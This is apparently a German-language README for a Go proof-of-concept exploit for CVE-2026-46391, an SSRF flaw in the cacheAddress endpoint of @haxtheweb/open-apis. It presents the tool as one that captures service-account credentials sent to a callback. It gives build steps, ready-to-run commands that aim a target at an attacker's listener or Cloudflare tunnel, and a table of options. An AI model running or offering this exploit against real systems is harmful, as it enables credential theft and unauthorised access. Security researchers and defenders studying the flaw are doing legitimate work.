bradyjmcl/cve-2026-46391Proof-of-Concept-Exploit für CVE-2026-46391
Proof of Concept für CVE-2026-46391. Löst die SSRF-Schwachstelle im cacheAddress-Endpunkt von @haxtheweb/open-apis aus und erfasst die Servicekonto-Anmeldeinformationen, die im Callback gesendet werden.
go build -o cve-2026-46391 .
go test ./...
./cve-2026-46391 -u <web-root> -l <listener> [-p port] [-t seconds] [-v]
Direkt (gleiches Netzwerk wie das Ziel):
./cve-2026-46391 -u http://10.10.0.80:3000 -l 10.10.15.201
Über VPS/Cloudflare-Tunnel/usw.:
./cve-2026-46391 -u http://10.10.0.80:3000 -l https://random-words.trycloudflare.com
Benutzerdefinierter Port und Timeout:
./cve-2026-46391 -u http://10.10.0.80:3000 -l 10.10.15.201 -p 9090 -t 60
| Flag | Beschreibung | Standard |
|---|
-u, --url | Ziel-Web-Root (z.B. http://10.10.0.80:3000) | erforderlich |
-l, --listener | Ihre IP/Rechnername oder Tunnel-URL (z.B. 192.168.1.10, https://uuid.trycloudflare.com) | erforderlich |
-p, --port | Lokaler Port, auf dem gehört wird | 8080 |
-t, --timeout | Sekunden, die auf den Callback gewartet werden | 30 |
-v, --verbose | Kopfzeilen und Inhalt jeder eingehenden Anfrage ausgeben | aus |